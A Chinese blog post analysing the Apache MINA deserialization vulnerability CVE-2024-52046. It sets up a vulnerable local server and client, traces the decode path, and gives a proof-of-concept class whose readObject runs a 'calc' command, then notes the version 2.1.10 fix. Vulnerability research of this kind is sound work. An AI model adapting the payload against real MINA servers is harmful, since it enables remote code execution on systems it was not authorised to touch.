CVE-2024-52046 Apache mina 反序列化漏洞简单分析

server/2025/2/12 12:37:27/

前言

最近披露了一个新的apache下属产品mina的CVE-2024-52046反序列化漏洞,首先查看cve官网公开的部分漏洞信息
https://www.cve.org/CVERecord?id=CVE-2024-52046
在这里插入图片描述
感觉有点乱,像这种apache产品的漏洞一般在apache邮件列表归档网站中也会有信息,下滑果然在references中找到了参考链接,查看原来的提交信息

https://lists.apache.org/thread/4wxktgjpggdbto15d515wdctohb0qmv8
在这里插入图片描述
这句就是这个反序列化的核心,翻译过来的大概意思是:

需要注意的是,使用 MINA 核心库的应用程序只有在调用 IoBuffer#getObject() 方法时才会受到影响,而这个特定方法在使用ObjectSerializationCodecFactory 类将实例添加到过滤器链时可能会被调用。如果您的应用程序特别使用这些类,则必须升级到最新版本的 MINA 核心库。

了解Apache mina

获取这个漏洞的基础信息后,需要了解一些Apache Mina的基础知识,这样才能简单的在本地搭建漏洞环境来复现漏洞并深入研究漏洞的代码成因。Apache Mina是一个能够帮助用户开发高性能和高伸缩性网络应用程序的框架。它通过Java nio技术基于TCP/IP和UDP/IP协议提供了抽象的、事件驱动的、异步的API。是用来代替NIO网络框架的,对NIO框架进行了一层封装的Socket库。

Mina框架被分成了主要的3个组件部分:

  • I/O Service,具体提供服务的组件。
  • I/O Filter Chain,过滤器链,用于支持各种切面服务。
  • I/O Handler,用于处理用户的业务逻辑。

在 Apache MINA 的 I/O 过滤器链中,有多种处理数据的类和过滤器,每种都有其特定的功能和用途。以下是一些常见的处理数据的过滤器和类:

  1. 编解码器过滤器
  • ProtocolCodecFilter:用于添加编解码器,支持将数据编码为字节流或从字节流解码为对象。
  • 常用的编解码器包括:
  • TextLineCodecFactory:用于处理文本行的编解码。
  • ObjectSerializationCodecFactory:用于处理 Java 对象的序列化和反序列化
  • ByteArrayCodecFactory:用于处理字节数组的编解码。
  1. 日志过滤器
  • LoggingFilter:用于记录传入和传出的数据,方便调试和监控。可以配置日志级别和输出格式。
  1. 异常处理过滤器
  • ExceptionFilter:用于处理在数据处理过程中发生的异常,提供统一的异常处理机制。
  1. 计时器过滤器
  • IdleStateFilter:用于检测空闲状态(如读取或写入空闲),可以帮助实现超时机制和连接管理。
  1. 身份验证过滤器
  • SslFilter:用于在传输层提供 SSL/TLS 加密,确保数据的安全性。
  • AuthenticationFilter:用于身份验证,可以与其他安全机制结合使用。
  1. 自定义过滤器
    开发者可以自定义过滤器,以满足特定需求。自定义过滤器可以实现任何需要的处理逻辑,如数据转换、验证等。

了解了Apache mina的基础架构之后,我们通过公开的漏洞信息和了解的mina的大概架构,能够猜测到漏洞的位置就存在于架构的编解码器过滤器使用的ObjectSerializationCodecFactory类中,这个类也是mina专门用于处理Java 对象的序列化和反序列化的编解码器。

搭建验证环境

我们编写一个基础的 Apache MINA 实现示例,使用 ObjectSerializationCodecFactory 作为编解码器。
在pom.xml中加入Apache MINA 的 Maven 依赖,符合漏洞版本即可

java"><dependency><groupId>org.apache.mina</groupId><artifactId>mina-core</artifactId><version>2.1.5</version> <!-- 请根据需要选择最新版本 -->
</dependency>

java_53">创建一个java

java">import java.io.Serializable;public class Message implements Serializable {private static final long serialVersionUID = 1L;private Object content; // 存储任意类型的内容public Message(Object content) {this.content = content;}public Object getContent() {return content;}
}

创建服务器

java">import org.apache.mina.core.session.IoSession;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;import java.net.InetSocketAddress;// 创建一个简单的 MINA 服务器
public class MinaServer {public static void main(String[] args) throws Exception {// 创建 NioSocketAcceptor 实例NioSocketAcceptor acceptor = new NioSocketAcceptor();// 添加编解码器过滤器,使用对象序列化编解码acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));// 设置消息处理器acceptor.setHandler(new ServerHandler());// 绑定服务器到指定端口acceptor.bind(new InetSocketAddress(9123));System.out.println("Server started on port 9123...");}// 处理接收到消息的处理器private static class ServerHandler extends IoHandlerAdapter {@Overridepublic void messageReceived(IoSession session, Object message) {// 检查接收到的消息类型if (message instanceof Message) {Message msg = (Message) message; // 类型转换System.out.println("Received: " + msg.getContent()); // 打印接收到的消息内容}}@Overridepublic void exceptionCaught(IoSession session, Throwable cause) {// 处理异常cause.printStackTrace();session.closeNow(); // 关闭会话}}
}

创建客户端

java">import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketConnector;import java.net.InetSocketAddress;// 创建一个简单的 MINA 客户端
public class MinaClient {public static void main(String[] args) {// 创建 NioSocketConnector 实例NioSocketConnector connector = new NioSocketConnector();// 添加编解码器过滤器,使用对象序列化编解码connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));// 设置消息处理器connector.setHandler(new ClientHandler());// 连接到服务器ConnectFuture future = connector.connect(new InetSocketAddress("localhost", 9123));future.awaitUninterruptibly(); // 等待连接完成IoSession session = future.getSession(); // 获取会话session.write(new Message("Hello, MINA!")); // 向服务器发送消息// 等待关闭连接session.getCloseFuture().awaitUninterruptibly();connector.dispose(); // 清理连接器}// 处理异常的处理器private static class ClientHandler extends IoHandlerAdapter {@Overridepublic void exceptionCaught(IoSession session, Throwable cause) {// 处理异常cause.printStackTrace();session.closeNow(); // 关闭会话}}
}

先运行服务器代码,再运行客户端,看到服务器端接收到客户端信息成功即环境搭建成功
在这里插入图片描述

代码调试

通过前面的了解,我们知道代码漏洞处于ProtocolCodecFilter编解码器里的ObjectSerializationCodecFactory类,而且发生在反序列化解码的阶段,我们在ProtocolCodecFilter.messageReceived打下断点,在decoder.decode(session, in, decoderOut)这部分代码用于可以查看输入缓冲区的内容,确保Message 对象被正确解码
在这里插入图片描述
接着调试,ObjectSerializationCodecFactory 创建的具体解码器是 ObjectSerializationDecoder,该类实现了 ProtocolDecoder 接口。它负责将字节流反序列化为 Java 对象。
在这里插入图片描述
往下接着进行调试,在AbstractIoBuffer.getObject方法中完成反序列化
在这里插入图片描述

漏洞验证

我们创建一个恶意类,放到客户端代码中发送进行测试

java">package ora.mina;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class Calc implements Serializable {private static final long serialVersionUID = 1L; // 建议添加序列化唯一标识// 默认构造器public Calc() {// 可以在这里初始化一些变量}// 实际要执行的方法public String execute() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();System.out.println("启动计算器失败: " + e.getMessage());}return "计算器启动成功";}// 重写 readObject 方法private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {// 反序列化后调用 execute 方法execute();}
}

在这里插入图片描述
调试MinaServer并运行MinaClient,在运行到return in.readObject()后反序列化出咱们发送的calc类,执行了计算器命令
在这里插入图片描述
在这里插入图片描述

修复

查看2.1.10的更新,相比于之前,在漏洞产生的过程中加入了类的验证
在这里插入图片描述
在这里插入图片描述


http://www.ppmy.cn/server/167058.html

相关文章

2025最新版Node.js下载安装~保姆级教程

1. node中文官网地址&#xff1a;http://nodejs.cn/download/ 2.打开node官网下载压缩包&#xff1a; 根据操作系统不同选择不同版本&#xff08;win7系统建议安装v12.x&#xff09; 我这里选择最新版win 64位 3.安装node ①点击对话框中的“Next”&#xff0c;勾选同意后点…

告别DeepSeek官方的服务器繁忙~腾讯云DeepSeek-V3/R1无限免费调用~不用安装任何东西~小白一学就会~

DeepSeek官方的服务经常崩溃&#xff0c;弄得我们也很崩溃。 还是腾讯云给力&#xff0c;DeepSeek 系列模型限时免费&#xff1a; 即日至北京时间2025年2月25日23:59:59&#xff0c;所有腾讯云用户均可享受 DeepSeek-V3、DeepSeek-R1 模型限时免费服务&#xff0c;单账号限制接…

【C++】RBTree(红黑树)模拟实现

文章目录 1.红黑树的概念2.红黑树的性质3.红黑树的结点4.insert函数&#xff08;插入结点&#xff09;5.左旋、右旋6.总代码 后续有时间会增加erase 1.红黑树的概念 红黑树是一种自平衡的二叉搜索树。每个节点额外存储了一个 color 字段 (“RED” or “BLACK”)&#xff0c; …

电赛DEEPSEEK

以下是针对竞赛题目的深度优化方案&#xff0c;重点解决频率接近时的滤波难题和相位测量精度问题&#xff1a; 以下是使用NI Multisim 14.3实现本项目的详细解决方案&#xff1a; 一、基础要求实现方案&#xff08;模块化设计&#xff09; 1. 双频信号发生电路 电路结构&…

elment ui 表格数据打印

通过调用浏览器自带的打印功能&#xff0c;完成对table数据的打印 &#xff08;打印表格必须要去掉表头中的fixed属性&#xff0c;每一列的宽度可以通过 width 来控制&#xff09; <el-table-column width100 prop"code" label""> </el-table-co…

鸿蒙NEXT开发-鸿蒙三方库

基本介绍 三方库是开发者在系统能力的基础上进行了一层具体功能的封装&#xff0c;对其能力进行拓展&#xff0c;提供更加方便的接口&#xff0c;提升开发效率的工具。 我们在之前的课程中学习过如何安装三方库axios了&#xff0c;我们大家可以通过ohpm install ohos/axios进行…

AWS全球加速架构在跨国实时交互系统中的优化实践

背景&#xff1a;跨境电商平台的性能瓶颈 某跨境电商平台&#xff08;为保护客户隐私简称Platform X&#xff09;业务覆盖北美、欧洲、东南亚三大区域&#xff0c;日均活跃用户超50万。其核心业务系统包含&#xff1a;商品实时竞价模块、跨国直播带货系统、动态定价API服务。…

深入解析 STM32 GPIO:结构、配置与应用实践

理解 GPIO 的工作原理和配置方法是掌握 STM32 开发的基础&#xff0c;后续的外设&#xff08;如定时器、ADC、通信接口&#xff09;都依赖于 GPIO 的正确配置。 目录 一、GPIO 的基本概念 二、GPIO 的主要功能 三、GPIO 的内部结构 四、GPIO 的工作模式 1. 输入模式 2. 输…